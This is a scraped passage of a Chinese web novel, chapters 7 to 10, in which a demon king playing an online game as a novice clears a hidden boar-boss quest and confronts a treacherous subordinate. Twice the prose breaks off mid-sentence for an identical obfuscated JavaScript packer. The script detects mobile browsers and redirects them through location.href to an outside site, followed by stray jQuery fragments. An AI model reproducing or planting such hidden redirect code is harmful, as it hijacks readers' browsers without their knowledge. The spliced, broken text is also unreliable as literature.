《不败BOSS封号后被全服悼为黑月光》 7. 第7章 阿契恩对“白骑士团”一词没有印象。 既然没有印象就说明无关紧要。他一边放下法杖、回答“没兴趣”，一边多看了一眼那位圣职者头顶的名字—— 万斯。 阿契恩顺手拿和路易的聊天记录当备忘录，没头没尾地给他发去了“白骑士团”和“万斯”。 路易这时候正好在线，直接秒回，还接连好几个追问—— “你说什么？” “你发这个名字是什么意思？” “是他来找你了吗？” “你现在在哪儿？” 阿契恩懒得回路易消息，关闭对话框。 “别急着拒绝，白骑士团向你抛出的橄榄枝永久有效。”万斯接着道，“你没有什么话想对我说吗？” 距离有些远，正午阳光刺眼，阿契恩分辨不清对方脸上的表情，只觉得有些莫名其妙。 于是他淡然又决绝地答：“没有，我不认识你。” “想来也是……”语气里多有落寞。 阿契恩没有追问或细想对方云里雾里的话，耸了耸肩，道：“那么告辞。” 他毫无负担地转过身走自己的路，对方声音幽幽地从背后传来：“我们还会再见的，下次可别把我忘了。” *** 路易找到阿契恩的时候，他正在挑选新法杖。 “你为什么不回我？”他跑遍了整个新手村，上气不接下气，“万斯呢？” “走了。”阿契恩轻描淡写地答，专心试着法杖。 “他来找你做什么？”路易急切地问着，追到阿契恩跟前。 阿契恩恰好把手里那根紫芯木材质的法杖朝路易挥过去，顶端停在距离路易鼻尖仅几毫米的地方，告诫对方别靠得太近。 随后他漫不经心地说：“邀请我加入……叫什么……骑士团？” “我就知道！”路易愤愤不平，“他之前就一直追问我是不是和你在一起，向我打听你来着，真是早早盯上你了，想让你加入他的公会。你答应了吗？” 其实结果显然易见，阿契恩脑袋顶上的id旁没有显眼的白色骑士头盔标志。 “当然没有。”阿契恩说，“听上去你对他的了解不少。” 弦外之音是向路易打探这个人。 “老熟人，内测时期一起玩过，但时间一长发现合不来。”路易松了一口气，“还好你没答应他，等出了新手村我打算建一个自己的公会，到时候邀请你哈。” 阿契恩最终看中了那根暗紫色的法杖，因为能提供5%的耗蓝减免。 和店铺老板完成交易后，他将法杖别在腰间，看了路易一眼，说：“别自作多情了。我问你，好友要怎么删？” 路易闻言先是一愣，随后瞬移到阿契恩近前，化作激动乱扑乱叫的大型犬：“不是吧？我做错什么了吗？你为什么要删我好友？不想加我公会就不加嘛！” 阿契恩板着脸，用食指点着路易的额头将他推远：“不是删你，是删万斯。” 他感觉到一股强劲的阻力从食指指腹上传来。路易顶着被戳红的脑门也要让自己的大脸占满阿契恩的视野。 明明在别人面前还算个安静的帅哥，面对阿契恩却一次比一次咋呼。 “你说什么？！你加了他好友！我死缠烂打那么久才加上你好友，他见你一面你就同意了？！”路易大声为自己喊冤，“凭什么？凭他头发长吗？” 阿契恩被他吵得耳朵疼，很难想象一个人能用大分贝的声音说这么一长串的话。 “我没加，不知道怎么就出现在列表里了，所以才问你怎么删。” 此话一出，上一秒还在谴责对方的路易立即喜笑颜开：“哦哈哈，你早说嘛。来，我教你……” 阿契恩白了他一眼，然后按照他所说的开始操作。 “长按……”他感到奇怪，“长按之后只有‘置顶’、‘标记未读’和‘修改备注’，没有删除。” “怎么可能？你是不是看漏了啊？” “总共就没几个选项我怎么会看漏？” 路易挤到阿契恩身边，为了能看清对方的面板，他必须尽可能地处在相同的角度，于是不可避免地靠得很近。 阿契恩不习惯跟别人相距如此之近，下意识要躲，带着面板一起离路易远去。路易当机立断一把搂住他的肩膀，将他和自己绑定在一起，提醒他不要乱动。 “耶？真是奇怪嘞，还真没有。再试试我的……”路易长按自己的头像，“你看我这就有。是bug，绝对是bug！” 路易又操作一番，将这一bug上传报错，随后才松开阿契恩。 “意思是删不掉呗？” “删得掉，说不定隔天bug就修复了，这个游戏的制作组很勤快的。”路易退远了些打量阿契恩，接着问他，“在野图刷了这么长时间野，材料是不是换了不少金币？没给自己换身新衣裳吗？” 的确，阿契恩现在还穿着新手套装，只看得出更换了武器。 “我换了根法杖，这样就能使用中级魔法了，一会儿再去挑本技能书。”阿契恩说，“加生命值的服装都对力量值有要求，拿着两种武器力量值已经饱和了，穿不了。” 加生命值的服装大多是铠甲，要到更高级的城镇才会有新花样。 “就算没有金币买新装备也该有作战掉落的才对。”路易围着阿契恩转，观察道，“低级饰品的副本掉落率很高，打一次怎么也能有个戒指之类的……” 他说话声越来越小，视线定格在阿契恩茫然的脸上，初见端倪。 “什么副本？”阿契恩问。 “别告诉我你一次副本都没打，纯靠刷野图里的小怪升到十五级？” “我不知道你在说什么。” 路易对游戏内的许多数据了然于胸，他掐指算了算，很快得出一个难以想象的数字，惊叹道：“天杀的，你是肝帝吗？这几天怕是要不吃不喝不睡觉才能杀这么多的野怪吧？” 很快，他的惊讶转为担忧：“你身体还好吗？不会猝死吧？” 阿契恩无法理解路易的话，更懒得进一步追问，干脆把他忽略，按照规划前往藏书阁。路易跟了一路，期间不停向他提出各种问题，都被他当成了耳旁风。 书店里，向管理员报出法术名后，两本技能书从书架上浮空飞到阿契恩面前，书页自动翻开，技能介绍随之展现出来—— 【主动·血祭】对自身造成300点伤害（生命值不足300点时使用该技能后变为1点），获得30%暴击率及300%暴击伤害，持续2分钟，不可叠加。 【主动·传送】改变自身或范围内其它单体目标所处位置，施法半径50个距离单位。 第一个技能是为了快速磨血顺便获得些伤害加成，第二个技能则是阿契恩看先前那个魔法使用，觉得泛用性很强，也正是为了学这个中级技能才得地去买的新法杖。 阿契恩交付金币，两本悬浮在空中不停翻页的技能书一齐合上，然后如风化般分解成数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124854|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清的荧光，飞入身体中。 [您获得新技能x2] 另一边，路易本着不白来的态度，也挑选着新技能，最后购入一本技能书。 金币只剩零头，不够购买任何装备。 随着等级提升，阿契恩已经明显感觉到新手村周边的野怪为他带来的经验愈发不够看了，即便是猎杀精英怪升级效率也很慢。 但当他尝试往野外深入，却被一种无形且察觉不到任何魔力流动的结界挡住，无法前进。他曾设法找到结界弱点，却发现那结界竟然完美至极，想必施法者能力不容小觑。 于是他向路易表达了自己的困扰，并询问该如何提升到更高等级。 “那个啊，那叫‘空气墙’，要触发并完成Boss战剧情后才会开放通路，才能去下一个城镇。” “空气墙……”阿契恩听得一知半解，将这个名词作为某个高品质技能理解，希望有朝一日能收入囊中，“那么要怎么才能触发……什么什么剧情？” “哎呀想想也是，你一天到晚不是和玩家切磋就是刷野，根本没时间过任务。”路易熟络地拽过阿契恩，在他反应过来前勾肩搭背上，没有半点随从该有的样子，“来来来，我带你去，正好我也准备要打Boss了。” 他还揩油似的捏了把阿契恩的胳膊，隔着不算厚的布料轻而易举地感受到曲线和弹性，是他想象中魔王该有的体格。 阿契恩咋了下舌，把路易推开：“说就行了别动手，你压到我头发了。” 接下来，阿契恩接受了路易的组队邀请，跟着他又是帮人送信，又是帮人搬花、买菜……在镇子里东西南北地来回跑了好几趟。 这显然不是一个魔王该做的事，阿契恩几度罢工。 “我理解你，这不是阿契恩的作风。但你不做这些事可就要一辈子呆在这儿咯。”路易劝他，“谁叫你在这个游戏里真正扮演的是讨伐魔王的勇者呢？” 时间接近黄昏时，阿契恩接到新任务——带一名少年进树林寻找父亲。少年的父亲是名猎人，凌晨离家后一直未归，实在叫人担心。 助人为乐一整天的阿契恩耐心告急，他的心态自始至终和普通玩家不一样。或许只有从世界抽离，才能体会真正的游戏人生。 “或许你可以找别人。”他冷着脸，试图拒绝少年。 “不会有人愿意帮我的，传说太阳落山后，林子里会有很可怕的魔物出没。”少年说，“你曾在林中过夜，天亮后安然无恙地回来，只有你有勇气带我去找父亲。” 少年哭成泪人，但阿契恩仍面无表情，“同情”这种情绪早就被从他心里剜除了。 他冷漠地看了路易一眼，示意他说些什么。 路易自认为心领神会地开始介绍：“玩家在林中过夜后找这个NPC对话就会出现彩蛋，反之后半句话只会是干巴巴的‘远道而来的勇者大人，求你帮帮我’，如果你——” “打住打住，我不想听这些。”阿契恩打断道，“我是要让你发誓这是我最后一次给别人帮忙。” “……我发誓。” “那好——”阿契恩抓起少年的手，传送法阵同时在他们二人脚下亮起，“速战速决吧，我赶时间。” “唉等等！” 路易反应过来去抓阿契胳膊时候已经晚了，一大一小两个身影在法阵光芒的映照下变作虚影，在下一个瞬间消失不见。 扑空的路易踉跄两步，懊恼地对着空气喊：“又来！你宁愿带NPC传送都不带我？！” 8. 第8章 少年举着油灯，走在前面带路。 阿契恩梭形的瞳孔在摇曳灯光下缩了缩，亮橙色的光照不透黑暗的树林，反而令二人格外显眼、成了活靶子。 于是，阿契恩从少年手中要过油灯，二话不说直接拧灭。 少年被他的举动吓了一跳，回过神后想要抢过油灯重新弄亮，却在身高上吃了亏，抢不回油灯，只能对着阿契恩抗议：“你这样做咱们什么都看不到了！” “安静点。”阿契恩揪着少年的领子把他从自己身上了拉开，待他安静下来才将尚有余温的油灯塞进他怀里，“这林子稀疏得很，月光足够明亮，不需要额外照明。当然，你可以选择继续点亮油灯，独自在林子里找人。” 阿契恩理解不了什么是NPC，所以不像普通玩家那般把少年的一切所作所为当做指引，无条件顺从。 而他我行我素的行为竟意外触发隐藏剧情——少年抱着熄灭的灯，不知道从哪个口袋掏出一枚哨子。 少年说：“既然灯灭了咱们就在原地等吧。这是我淘来的狗哨，发出的声音人听不到，但也许可以把随父亲一起外出打猎的猎犬叫到身边。” [您获得剧情道具狗哨] [隐藏剧情开启] 那看起来就是个普通的木哨子，阿契恩没多想，含在嘴边吹响。 只听哨子所发出的哨音极哑，听上去像墙壁漏风，就如同损坏了一般。 他竖起耳朵听，确认四周除了风声外没别的响动，转眼又研究起手头的哨子。 仔细想想才发觉重量不太对，如果是纯木质不该这样重。正当他着手研究哨子外面是不是罩着一个木质外壳的时候，一阵巨大噪音夹杂着激烈犬吠从林间炸出。 阿契恩寻声看去，只见一团黑影朝着他以摧枯拉朽之势疾驰而来。 他从容发动传送魔法，同时没忘带上少年一起。 二人转移至几米开外的地方，平原之下再无遮挡，清晰可见一只巨兽撞毁树木枝芽、踏平沿途矮草。它没有察觉到目标消失，用蹄子将草根与泥灰刨向半空发泄、一对獠牙在月光下闪着寒光。 那像山一般的凶兽，俨然是一只体型格外庞大的野猪。 紧接着，野猪头顶上空拉开一道血条，鲜亮的红色与随之响起的鼓乐一齐为Boss战拉开序幕。 犬吠聒噪，愈发激烈的鼓点刺激着玩家的神经心跳，而这一切却对阿契恩毫无效果。他全然没把野猪放在眼里，只好奇音乐是从何而来，平静地环顾四周，奇怪怎么没见到隐藏在林间的乐师。 一条猎犬一不留神被野猪粗暴踹中，在哀嚎声中摔滚到阿契恩身侧。 “是父亲的猎犬……父亲他……” 少年焦急话语未落，野猪发出怒吼，声浪竟像劲风一般袭来，接连倒伏的草木为它塑造了形状。少年捂住耳朵，却还是被震得身形不稳、连连后退，全靠阿契恩抓住他胳膊才没有狼狈倒地。 “那就是你说的魔物？”阿契恩的声音沉稳压过耳鸣的异响，清晰传入少年耳中，“怎么看都只是一只大个头的野猪罢了。” “传说它曾是普通野猪，但魔王将自己血肉喂给了它，将它变成了危害一方的魔物。” “胡说八道。”在阿契恩听来这无疑是恶劣的造谣污蔑，他毫不客气地反驳，“谁会闲到用自己的肉喂野猪，就为了让它深更半夜在这里乱冲乱撞？” 少年被质问得一时语塞：“总之……村里人都这么说……” 两人忙于争论，被冷落的野猪恼羞成怒，无视周旋的猎犬，奔着阿契恩而来。 阿契恩推开少年，用剑挡在野猪獠牙面前。 野兽的出招自然无技巧可言，全凭着巨大身躯与怪力，让人无法触发弹反，阿契恩极力招架却还是被挑到半空。 阿契恩掉了些血，随后一边调整落地身姿，一边观察这头行为反常如疯癫一般的野猪，想要证明真相绝非少年口中那般荒唐。 转眼野猪就要攻击少年，才落地的阿契恩不得不立即甩出火球术，将野猪的仇恨重新拉回自己身上。 但再之后呢？ 火球术现在的伤害可以忽略不计，传送技能的冷却还没好，硬抗几个“野猪冲撞”压下血线后自然不会输，但伤痛却是实打实的，而且被一只野猪撞成残血未免也太难看了，被传出去还不知要多出怎样的谣言。 阿契恩左思右想，冷不丁又想起了那枚哨子。 虽然还不清楚具体有什么作用，吹下试试总没坏处。 哨音实在沙哑，阿契恩几乎听不到。 但野猪的反应却极大，忽然放弃攻击，在一个大角度的转身下一头扎进树林，用头和脊背将许多树木拦腰撞断。随后又是原地刨土蹦跳，仔细看来似乎不知是简单的恼怒，更像身上有什么难缠的东西、急于摆脱一般。 阿契恩一边用剑划开右手胳膊放血，触发血祭技能，一边对少年喊：“我问你，这哨子究竟是干嘛的？” 说是狗哨，猎犬明明一点反应也没有。 “我……我不知道……” 猎犬在少年身边聚集，少年却招呼着让它们去帮阿契恩。 [猎犬x3加入队伍] 阿契恩只得姑且将哨子理解为可以扰乱野猪攻击状态的工具，留心观察野猪撞树的部位，以此为目标释放火球术。 烈焰和猎犬一起缓慢消磨着野猪的血条，同时拖延着时间。 传送技能的冷却刚好，阿契恩就将自己转移至野猪附近一棵树的枝干之上，以便近距离观察。 他又一次挥出火球，借着炸开的火光看到野猪的背上攀附着一团纠缠在一起的藤蔓，质地奇硬，就算用火也只得将其外表熏黑。 阿契恩当即断定就是这种寄生植物似的东西让野猪暴躁易怒。 他刚想对少年澄清，一道锐利银光忽然闪过，直直扎进野猪身上。定睛一看，是路易正手执利剑，踩在野猪背上，剑刃深深刺入野猪皮肉。他展现出剑士该有的迅捷强攻，华丽一击竟直接砍掉野猪三分之一的血，此时姿态如屠龙英雄一般骄傲。 “这家伙的特性是无法弹反，”路易朗声道，“我就知道你会打得比较棘手，一路紧赶慢赶，下次记得不要再丢下你的队友了！” 阿契恩觉得这一幕似曾相识，之前路易也是这样姗姗来迟，然后急着证明没他不行。 “反正你跑得也挺快，不是吗？”阿契恩没有半点歉意，说得云淡风轻，“先别攻击，这其中有蹊跷。” 他本不想和路易沟通想法，但碍于这小子刚才那下伤害实在有点高，真怕他一不小心多砍几刀就把野猪弄死了。 “什么？不攻击它怎么通关？” 路易早就做好了攻略，深知新手村Boss就是这只受魔王血肉污染陷入癫狂的野猪王，数值、技能和特性也已烂熟于心。 “在此之前，你得先确定真正的Boss是谁。”说完，阿契恩不顾路易还在野猪背上，将哨子放进嘴中吹响。 野猪毫不意外地再次陷入癫狂，路易赶紧主动从它背上跃下，然后眼瞧着它再次撞向一旁的树林。 “它背后颈部那 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“我要怎么配合你？”路易跑着喊。 阿契恩压低身子，攥紧野猪鬃毛。发丝和衣尾在狂风中上下翻飞，树叶断木不断朝脸上身上刮来，他的身形却极稳，表情也波澜不惊，沉静思考着对策。 哨子。 那哨子肯定还有用。 阿契恩看了一眼正在追赶的路易，朗声道：“躲远点，我一会儿可没空管你。” 说完他将身体俯得更低了些，几乎是趴在野猪身上，用双腿勉强稳住身体，然后松开了抓着野猪鬃毛的手，摸出哨子送到嘴边。 吹响哨子的一瞬，野猪毫不意外地陷入更难以控制的狂暴。它一个急停，身体猛然一耸，将阿契恩甩上半空。 时间很短，但阿契恩已然看清，那块寄生物在哨声影响下裂开了几道缝隙。 看来只有抓住野猪狂暴的时间、在难以预判其动向的条件下发动精准攻击，才能对寄生物造成伤害，这样的限制还真是苛刻。 阿契恩被失重感裹挟，头脑却一如既往地清晰。 这个高度不容小觑，是会直接判定死亡的程度。 “阿契恩！” 路易连忙四下搜索合适的落脚点，思索该如何救下他。 仰视中，阿契恩的身影被皎洁满月笼罩，将他变成一只漆黑的鸟儿，衣摆轮廓犹如一对翩翩羽翼。只见他借着惯性与重力优雅倒转身形，利剑蓄势待发。 路易看出阿契恩有意继续发动攻击，大声提醒道：“位置偏差太大了！你——” 阿契恩当然知道自己凭当前下坠的角度绝对落不回野猪背上去。 所以—— 他扔掉哨子，重新举起法杖。 天空亮起道道圆环与符文，逐渐朝着完整的法阵形状汇聚。 阿契恩开始极速下坠，就在接触地面之前的一刹那，法术咏唱完毕，完整的法阵形成。 随即，他同另一个法阵一起出现在野猪上空，借着下坠速度与月光，凌空拉出一道冷冽刀光。明明是没有任何技能特效加持的一剑，却砍出了不输于决战技的效果。 路易呆愣在原地，思绪久久沉浸在方才的一幕，一切都变成了慢镜头，回味良久。 直到野猪跌跌撞撞地跑走、Boss战背景音乐减弱渐止，他才恍如隔世般回过神。 “别傻站着了，帮我找找那哨子。”阿契恩远远地喊他，“真是怪了，我明明记得是往这个方向丢的……” 9. 第9章 被一击毙命的寄生物从野猪身上自然脱落，在草地上抽搐几下后快速萎缩腐败。直到这时阿契恩才意识到，比起藤蔓之类的植物，这团东西更像由某种血肉组成的活物，体表散发着褐色光泽的符文缓缓发光，像临死前的喘息，最后彻底消散。 随着重获神智与自由的野猪吭叽着跑远，阿契恩的视野前浮现出一行字—— [您达成成就动物之友] 【动物之友·成就】野猪王感谢您的不杀之恩。 阿契恩：？ 不多时，路易把哨子找了回来，递给阿契恩，说：“你看看，好像摔坏了。” 哨子的木质外壳脱落，露出一枚完整崭新的银哨。 阿契恩捏在手里仔细打量，发觉那上面刻印着某些富含魔力的密文，更有丝丝凉意顺着指腹传来，单靠体温难以将其捂热。 [您失去剧情道具狗哨] [您获得特殊道具未知银哨] 路易看了眼地上那坨烂肉，叉腰道：“看来咱们是进入隐藏剧情了。这算什么，是魔物吗？” 阿契恩沉着脸。 这当然是魔物，同时也意味着是某个手下做的蠢事，让人造谣到他堂堂魔王身上，这件事绝不能就这么算了。 “不过咱们这也算击败Boss通关了。”路易没有察觉阿契恩神色的变化，一边点开面板查看，一边说，“前往下一个地区的通路已经解锁了，咱们走吧。” 鉴于先前做剧情任务时阿契恩的种种不耐烦，路易认定他是一位好战的竞技型玩家，而非关注剧情的休闲玩家。他断定阿契恩会马不停蹄地穿越被空气墙隔断的道路，前往更高级的城镇。 “不，我要查个明白。” 说话间，少年指挥猎狗带路去找父亲，人声和狗吠逐渐变远。 路易不敢相信，确认道：“你是说你还要继续走剧情？” 阿契恩懒得重复，准备发动传送技能跟上少年。 见法阵逐渐成形，路易眼疾手快地抓住阿契恩，道：“带上我一起传送，算我求你。” 阿契恩眨眨眼，朝路易伸出手：“补蓝剂。” 比金币更有限的是记忆力，他忘了买。 路易无奈笑笑：“你怎么不找NPC要过路费……” 几只猎犬带着两人和少年来到一处较为陡峭的山坡顶部，对着坡底一个劲地叫，随后便听到男人微弱的呼喊声。 阿契恩朝远处甩出火球，照亮坡底，只见有个男人被困于坡底荆棘丛，仅靠自己无法脱身。 “是父亲！”少年率先顺着坡、手脚并用地往下滑。 阿契恩站在原地，即便滑到坡底的少年向他发出求助也无动于衷，最多也只是对路易使了个眼神，让他下去帮忙。 “什么意思？让我一个人出力？咱们不是队友吗？队友就要合作才对啊。” 阿契恩平静阐述道：“是我带着你一起传送过来的，现在轮到你出力了。” “一个技能的事儿，蓝还是我出的，你——”话说到一半路易担心起阿契恩记仇，以后全都让他自己赶路，赶紧改口说，“唉算了算了，我干就我干，离了我谁还把你当魔王……” 他嘟嘟囔囔地骂，身体倒是顺从地前去帮助少年。 阿契恩无视路易的牢骚，转头看向一侧。被火光映亮的树林间赫然可见被踏平的矮草丛和被折断的树枝树干，正是野猪冲撞留下的痕迹。 想必少年父亲正是为了躲避发狂的野猪，才不慎摔落陡坡，被荆棘划伤而非丧命真是不幸中的万幸。 与此同时的路易正声情并茂地描述着荆棘有多难砍，表示如果能有一个仗义的队友来帮自己那真是再好不过。 阿契恩对此不为所动，一边捏着银哨把玩，一边萌生出沿着野猪破坏出的通路深入林中的念头。 “喂！你是不是又想一个人去别处？”路易看穿道。 “是，”阿契恩坦然承认，“所以我需要你多给我几瓶补蓝剂备用。” “我拒绝，想要用我的补蓝剂，你得和我一起行动才行。” 路易抛出诱饵试图拿捏阿契恩。 只见阿契恩背手站在坡顶，无言注视路易几秒后身形后撤、消失在对方的视野范围内。 “唉唉唉别走！”阿契恩明明一字未语，却让路易成了被拿捏的那一个，“给你给你！你记得走慢一点！不然我一会儿不好追！” 路易话音未落，阿契恩就再度探出头，毫不客气地笑纳。 阿契恩遵守约定，闲庭信步地走，无论是神态还是步伐都像饭后散步般从容。 不知过了多久，走着走着忽然有什么东西从上空坠落，穿过树冠直直落在地上，声音听起来不算重，还不时扑腾。 昏暗的环境，举止怪异的不明活物，这本该是个令人不安的情景，对阿契恩却没什么效果。 他慢悠悠地走近，认出那是一只半大猛禽。随后他拔出剑，将鸟翻了个身，看清它的头上包裹着和野猪身上类似的寄生体，就是个头相对小些，似乎没发育完全。 阿契恩顺手试了一下，发现果然不需要哨音作用就能轻易刺穿这只寄生体的外壳。 鸟儿挣扎一番，很快摆脱死去的寄生体，重新飞走。 望着那只鸟穿过树冠飞远，想到方才获得的“动物之友”成就，阿契恩忍不住笑了一声自嘲。 未料下一瞬，天空骤然一黑，紧接着便是无数只鸟噼里啪啦地掉下来，落了一大片，皆病态地扑腾着，让人毛骨悚然。 鸟类轻盈的身躯无法负担寄生体的重量，群鸟很快窒息死亡。 阿契恩不再放松，脸上神情比起正色更偏向压抑着愤怒的阴沉。这股怒火无关对生命的怜惜，而是源自魔王威严的侵犯。他必须亲自弄清楚，到底是谁敢背着他胡作非为。 阿契恩没有选择绕开成群的尸体，而是径直前进，羽管和骨头在他脚下碾断，发出悲鸣似的脆响。 “阿契恩！我来了！你——” 姗姗来迟的路易见阿契恩站在一大片死鸟中间，像末世的主宰，不由得被诡异氛围吓了一跳。 “……怎么死这么多鸟？它们……不是野怪吧。” “不是野怪，更不是我杀的。”阿契恩说，“你走近点就看出来了，还是那种寄生体。” “还真是。” 路易做不到像阿契恩那样不管不顾踩过去，尽量找些空地落脚，又是踮脚又是蹦跶，好在总归是成功跟上。 “剧情彻底走完了，少年的父亲给了些金币作为答谢，咱们对半分吧。” “荆棘都是你砍的，你收着就行。” 话说到这份上，路易也没再客气，转而把几瓶补蓝剂转入阿契恩的背包。 又走过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124856|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段路后，野猪破坏的痕迹开始变得不明显，难以分辨正确方向。 “要我说这片区域应该已经没有剧情可以触发了，要到新地图才会有新剧情，咱们回去吧。”路易提议。 不同于简单的游戏思维，阿契恩更专注于切实的蛛丝马迹。 他摩挲着树干，仔细辨认空气中细微的魔力流动，确信罪魁祸首就在附近。 路易不理解阿契恩的执着，等了一会儿后再度打算出言劝说，忽然感到一股明显的阻力。 他立即朝阿契恩的方向瞥了一眼，见他蹙着眉，想必也受到了相同的阻力。 [提示：当前等级过低，前方区域危险，请慎重前往] 这对阿契恩来说无疑是他追寻成功的证明。 只要不是坚不可破的空气墙，就没有什么能阻止阿契恩的前进。 他不等路易反应便强行扯开缠绕在手脚上的凝滞感，用行动打破提示。 路易意识到即将迎来隐藏剧情中的隐藏剧情，便也决定忽略提示，同时打开录像。 两人一前一后穿越矮树丛，发觉前方空间豁然开朗。 但还未环顾完全，只听得一阵沙哑又低沉、似朽木折断般的声音说：“很不幸，你们在错误的时间，出现在了错误的地点。” 阿契恩隐约看到有个人影，和一只巨兽。不过来不及辨识清楚，只见巨兽张口，呼出一团黑紫色魔焰。 其规模算得上高级乃至神话级别的法术，根本避无可避。甚至中招之后还被附加上了震慑状态，无移动或发动技能避开持续伤害。 望着自己陡降的血条，路易终于明白先前的提示绝非儿戏，记得上一次这样绝望还是遇上Boss版阿契恩的二阶段抬手技。 “好样的，我的奇美拉，做得不错……” 说话人身形佝偻，长袍将他浑身上下盖了个严实，却依旧能从兜帽崎岖的轮廓看出头顶不对称的犄角。他抚摸着身旁的巨兽，那是一只鹿头，熊身、蛇尾……以及更多难以辨认的动物躯块、由寄生体作为连接所组成的怪物，诡谲又邪恶。 怪物停下吐息，但魔焰迟迟未灭。 那人继续得意道：“如今阿契恩失踪，魔王之位空悬，想必这下我也能——” “你也能什么，肯尼？” 一声质问让那人瞬间僵住，只是相似的声线就足以让他开始因恐惧而战栗。 “不……不可能……”他故作镇定地念叨，“他不可能在这种地方……” 魔焰渐熄，取而代之的是猩红色的凶光。 方才那一击的伤害的确不是当前等级的普通玩家所能承受的，以至于路易已然被秒杀，送去城中复活点。 但阿契恩绝非普通，此时此刻，他的血条恰好还剩几个像素点的长度。 而将这位魔王攻击至濒死的后果，无疑是恐怖的。 阿契恩缓缓起身，鞋跟明明踩在被魔焰轰得凹陷的土坑里，却像踏在对方的命门上，漂浮在空中的丝缕黑色余烬为他渲染着压迫感。 “你说，我该在哪儿？” 名为肯尼的魔族看清来者，发出绝望哀嚎，顾不上他制作出来的魔物打算落荒而逃。 可刚转过身，他便发现目光所及之处皆是传送法阵，已然形成囚牢，像是要将他封印，令他无处可去。 阿契恩冰冷道：“你敢动一下试试。” 10. 第10章 肯尼扑通一声跪倒在地，连连求饶：“我错了，我错了！我不知道是您……误会，都是误会！” 既然阿契恩到目前为止发动的只是传送法阵而不是致命大法术，肯尼断定魔王大人一定心情还可以，自己也还有的救。 他病态地敲打头颅，想出拙劣的借口：“您看这头魔物，这就是我打算将来送给您的。” 法阵的光芒在阿契恩脸上映出暗影，配合着微眯的双眼彰显出危险的气息。即便衣着朴素，手中武器不算上乘，也无法打消他所带来的极致压迫感。 “我怎么不知道有这回事？” “这不是想要弄成个惊喜，所以……才没告诉您嘛……” “是吗？”阿契恩漫不经心地拿出银哨，“那请你告诉我，这是什么？” 肯尼脸色煞白：“这……这是……” “结结巴巴的，难道需要我帮你把舌头切下来换条新的吗？” 闻言肯尼立即以头抢地，慌乱道：“这是能封印着噬心魔的银哨，哨音能解除精神控制系法术，我曾将它献给您，作为我向您效忠的证明。” [装备介绍更新] 【未知银哨】使用后免疫精神控制系法术，毕竟这类法术对其内部封印的噬心魔来说是小巫见大巫。至于持有它要付出怎样的代价？你会知道的。 “哦？这么说来它应该在魔王城的宝库里才对。”阿契恩将银哨攥入掌心，“我想有这种效果的哨子很难有第二把吧？你猜这把我是从哪儿弄来的？” 肯尼微微抬头，瞟上阿契恩一眼，又慌忙埋下头去。他试图通过观察阿契恩的表情判断自己到底还有没有扯谎的机会，然而阿契恩的威压让他不敢多看。 在内心挣扎了数秒后，他还是不敢赌至强的魔王能被他蒙混过关，坦白从宽还能盼着对方网开一面。 “是……是我命学徒将其偷出来……伪装成普通的哨子，然后被我那愚蠢又该死的徒弟弄丢了……”肯尼几乎把上半身贴在了地上，抖得像筛糠，说到最后甚至忍不住哀嚎了一声，又是一个劲地道歉求饶，“我发誓我只是打算用它来测试奇美拉，之后是要将它还回去的！” “原来如此。” 阿契恩早忘了自己曾拥有这样一枚戒指，之后的来龙去脉他更是毫无头绪，全然是靠着吓破胆的肯尼自己交代。 “你这样诚实，我应该饶你一命。” 肯尼吸了一口快进嘴的大鼻涕，高声喊道：“谢过吾王！您的大恩大德我——” “别急着谢，还没完。”阿契恩不紧不慢地帮肯尼回忆道，“你还说我失踪了，魔王之位空悬，你要做什么来着？” 这一问让肯尼头晕目眩，他直起身子，凝视着阿契恩的眼睛。那抹毫无温度红色像凝固的冰冷血池，快要将他的灵魂冻结。 谋权篡位是死罪，既是死路一条，困兽犹斗。 于是肯尼惊恐地瞪着眼，尖叫着命令一旁的魔物发动攻击，以此争取一个脱身的时机。 但魔焰未至，阿契恩的身影先一步消失。 下一个瞬间，肯尼的脖颈被利刃从身后贯穿，黑血随即喷涌而出。 魔物转头攻来，阿契恩一脚蹬在肯尼后背上，抽回剑，传送开身位。 那只魔物的攻击实在太高，擒贼先擒王的战术在这里并非最优选择。阿契恩当机立断吹响哨子，传送出现在魔物背后，一剑砍进它脆弱的连接处。 肯尼捂着喉咙，黑血从指缝处淌成污浊的细流，求生欲和极度恐慌让他大脑飞速运转。 他无比清楚自己被阿契恩砍了一剑，然而距离战斗开始时间过去了足足两秒，他却还活着，这足以说明眼前的魔王不对劲。 这时候他才进一步注意到魔王身上的装备简陋不堪，自始至终也未用出什么致命杀招，难道说…… 魔物眼看就要被阿契恩杀死，留给肯尼的时间不多。他当即决定拼死一搏，赶紧从长袍衣袖出掏出法杖，来不及为自己止血，先用上浮空魔法径直朝着阿契恩而去。 阿契恩以攻代守，挥剑劈砍而去。 而肯尼的身体却在撞上他剑刃前的一刹那化作一团黑烟，从他身边掠过，又在身后重新汇聚成人形。 “成功了……难以置信，我竟然……” 肯尼颈间的血窟窿让他的声音听上去像个破风箱。他举起手，指间夹着一缕黑发，枯木似的手宛若抓到了救命稻草。 阿契恩摸了下颈侧，后知后觉头发少了一截。 肯尼还没有近距离伤害魔王的勇气，他想要做的不过是在保住命的前提下试探。 肯尼的身形再次趋于虚幻，像风中火焰般飘忽不定、若隐若现。 “我截断了魔王阿契恩的一缕头发！”他大声欢呼着，兴奋异常，“这缕头发将成为我实力的证明！它们都将奉我为主！” 